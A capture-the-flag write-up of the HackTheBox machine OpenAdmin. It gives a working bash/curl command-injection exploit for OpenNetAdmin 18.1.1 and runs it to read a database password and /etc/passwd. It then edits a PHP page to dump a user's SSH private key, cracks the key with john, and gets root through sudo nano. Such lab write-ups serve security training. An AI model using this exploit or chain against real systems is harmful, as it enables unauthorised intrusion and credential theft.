HTB: OpenAdmin

Posted on 04 May 2020 in security • 6 min read

OpenAdmin card

This is a writeup about a retired HacktheBox machine: OpenAdmin created by dmw0ng and publish on January 4, 2020. This box is classified as an easy machine. The user part is longer than the root part and involve to find a vulnerable component, exploit it to get a shell, found the creds of an user able to connect using SSH then found another webservice to get the private SSH key of a second user. The root part is simply exploiting a sudo permission on nano to execute command.

User

Recon

We start with an nmap scan. Only the ports 22 (SSH) and 80 (HTTP) are open.

# Nmap 7.80 scan initiated Tue Jan  7 03:51:25 2020 as: nmap -sS -p- -oA 10.10.10.171 10.10.10.171
Nmap scan report for 10.10.10.171
Host is up (0.27s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Tue Jan  7 04:23:21 2020 -- 1 IP address (1 host up) scanned in 1915.49 seconds

Web

The landing page is the default Apache page.

apache default page

We run a dirb against it.

dirb http://10.10.10.171

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Tue Jan  7 04:29:49 2020
URL_BASE: http://10.10.10.171/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://10.10.10.171/ ----
==> DIRECTORY: http://10.10.10.171/artwork/
+ http://10.10.10.171/index.html (CODE:200|SIZE:10918)
==> DIRECTORY: http://10.10.10.171/music/
+ http://10.10.10.171/server-status (CODE:403|SIZE:277)

The artwork directory is a rabbit hole (there is no dynamic code even for the contact page) but it was found first by dirb.

Artwork page

The music directory offer a login page which redirect us to the ona webpage.

Music page

Music page

OpenAdmin

We can see on the ona (opennetadmin) that the version is the 18.1.1 which is not the latest. Using searchsploit we found a exploit for this specific version.

searchsploit opennetadmin
------------------------ ----------------------------------------
 Exploit Title          |  Path
                        | (/usr/share/exploitdb/)
------------------------ ----------------------------------------
OpenNetAdmin 13.03.01 - | exploits/php/webapps/26682.txt
OpenNetAdmin 18.1.1 - R | exploits/php/webapps/47691.sh
------------------------ ------------------------------------

The script was not working out of the box for me so I "rewrote" it (it is a oneliner in bash).

CMD="${1}"
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${CMD};echo \"END\"&xajaxargs[]=ping" "http://10.10.10.171/ona/"  | sed -n -e '/BEGIN/,/END/ p'

We start enumerating the box as www-data.

sh ona_rce.sh 'whoami' 
                  <pre style="padding: 4px;font-family: monospace;">BEGIN
  www-data
  END
sh ona_rce.sh 'ls -al'
                <pre style="padding: 4px;font-family: monospace;">BEGIN
total 72
drwxrwxr-x 10 www-data www-data 4096 Jan  7 14:41 .
drwxr-x---  7 www-data www-data 4096 Nov 21 18:23 ..
-rw-rw-r--  1 www-data www-data 1970 Jan  3  2018 .htaccess.example
drwxrwxr-x  2 www-data www-data 4096 Jan  3  2018 config
-rw-rw-r--  1 www-data www-data 1949 Jan  3  2018 config_dnld.php
-rw-rw-r--  1 www-data www-data 4160 Jan  3  2018 dcm.php
drwxrwxr-x  3 www-data www-data 4096 Jan  3  2018 images
drwxrwxr-x  9 www-data www-data 4096 Jan  3  2018 include
-rw-rw-r--  1 www-data www-data 1999 Jan  3  2018 index.php
drwxrwxr-x  5 www-data www-data 4096 Jan  3  2018 local
-rw-rw-r--  1 www-data www-data 4526 Jan  3  2018 login.php
-rw-rw-r--  1 www-data www-data 1106 Jan  3  2018 logout.php
drwxrwxr-x  3 www-data www-data 4096 Jan  3  2018 modules
drwxrwxr-x  3 www-data www-data 4096 Jan  3  2018 plugins
drwxrwxr-x  2 www-data www-data 4096 Jan  3  2018 winc
drwxrwxr-x  3 www-data www-data 4096 Jan  3  2018 workspace_plugins

We notice that the file are from January 2018. So we just filter on file older that 30 days. That allow us to find a configuration file for the database containing a password.

sh ona_rce.sh 'find ../../ -mtime -30 2>/dev/null | grep -Ev "^/proc"'
                <pre style="padding: 4px;font-family: monospace;">BEGIN
../../
../../priv.save
../../ona/www


sh ona_rce.sh 'cat ../../ona/www/local/config/database_settings.inc.php'
                <pre style="padding: 4px;font-family: monospace;">BEGIN
<?php

$ona_contexts=array (
  'DEFAULT' =>
  array (
    'databases' =>
    array (
      0 =>
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
      ),
    ),
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',
  ),
);

?>END

We want to try this password against SSH users but we don't know them. We can just cat /etc/passwd to get a list of the system's user.

sh ona_rce.sh 'cat /etc/passwd'
                <pre style="padding: 4px;font-family: monospace;">BEGIN
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
jimmy:x:1000:1000:jimmy:/home/jimmy:/bin/bash
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
joanna:x:1001:1001:,,,:/home/joanna:/bin/bash

I tried to logged as joanna first but the password was jimmy's.

ssh jimmy@10.10.10.171
jimmy@openadmin:~$ id
uid=1000(jimmy) gid=1000(jimmy) groups=1000(jimmy),1002(internal)

Internal

We notice that we are part of the internal group. Therefore we look for files belonging to this specific group and found some "internal" directory containing three PHP script.

jimmy@openadmin:~$ find / -group internal 2> /dev/null
/var/www/internal
/var/www/internal/main.php
/var/www/internal/logout.php
/var/www/internal/index.php

main.php:

<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

index.php

<?php
  ob_start();
  session_start();
?>

<?
  // error_reporting(E_ALL);
  // ini_set("display_errors", 1);
?>

<html lang = "en">

  <head>
      <title>Tutorialspoint.com</title>
      <link href = "css/bootstrap.min.css" rel = "stylesheet">

<SNIP>
  </head>
  <body>

      <h2>Enter Username and Password</h2>
      <div class = "container form-signin">
        <h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
          <?php
            $msg = '';

            if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
              if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
                  $_SESSION['username'] = 'jimmy';
                  header("Location: /main.php");
              } else {
                  $msg = 'Wrong username or password.';
              }
            }
        ?>
      </div> <!-- /container -->

      <div class = "container">

        <form class = "form-signin" role = "form"
            action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']);
            ?>" method = "post">
            <h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
            <input type = "text" class = "form-control"
              name = "username"
              required autofocus></br>
            <input type = "password" class = "form-control"
              name = "password" required>
            <button class = "btn btn-lg btn-primary btn-block" type = "submit"
              name = "login">Login</button>
        </form>

      </div>

  </body>
</html>

We can see that the main.php script just print joanna's private SSH key. And the script is only checking if the username parameter is set. But we are unable to access the site. We check the Apache configuration to see that the port is 52846.

cat /etc/apache2/sites-enabled/internal.conf
Listen 127.0.0.1:52846

<VirtualHost 127.0.0.1:52846>
    ServerName internal.openadmin.htb
    DocumentRoot /var/www/internal

<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>

We rewrote main.php in order to suppress the parameter check:

jimmy@openadmin:/var/www/internal$ cat main.php
<?php
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>

And we call the page and get joanna's private SSH key.

jimmy@openadmin:/var/www/internal$ curl 127.0.0.1:52846/main.php
<pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----

We see that the key is password protected (second line of the key) so we use ssh2john to convert the key to a crackable hash. Then we run john on it using the rockyou wordlist. We crack the bloodninjas password.

$ python2 /usr/bin/ssh2john id_rsa > id_rsa.hash
$ john id_rsa.hash -w=tools/password_lists/rockyou.txt
Warning: detected hash type "SSH", but the string is also recognized as "ssh-opencl"
Use the "--format=ssh-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas      (id_rsa)
Warning: Only 1 candidate left, minimum 4 needed for performance.
1g 0:00:00:04 DONE (2020-01-07 15:25) 0.2087g/s 2994Kp/s 2994Kc/s 2994KC/s *7¡Vamos!
Session completed

We connect as joanna using SSH.

ssh joanna@10.10.10.171 -i /tmp/id_rsa
Enter passphrase for key '/tmp/id_rsa':
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
<SNIP>
joanna@openadmin:~$ ls
user.txt
joanna@openadmin:~$ cat user.txt
c9b2cf07d40807e62af62660f0c81b5f

Getting root

We start enumerating the box and found that we have the sudo right without password on /bin/nano /op/priv/.

joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User joanna may run the following commands on openadmin:
    (ALL) NOPASSWD: /bin/nano /opt/priv

A quick look at GTFObins show us that we can execute commands in nano with <^R^X>. We just run id and cat /root/root.txt.

GNU nano 2.9.3

uid=0(root) gid=0(root) groups=0(root)
2f907ed450b361b2c2bf4e8795d5b561

Wrapping up

This was a really easy box with almost no rabbit hole. I will recommend this box for the beginner until it retires (of course this article will be publish after its retirement).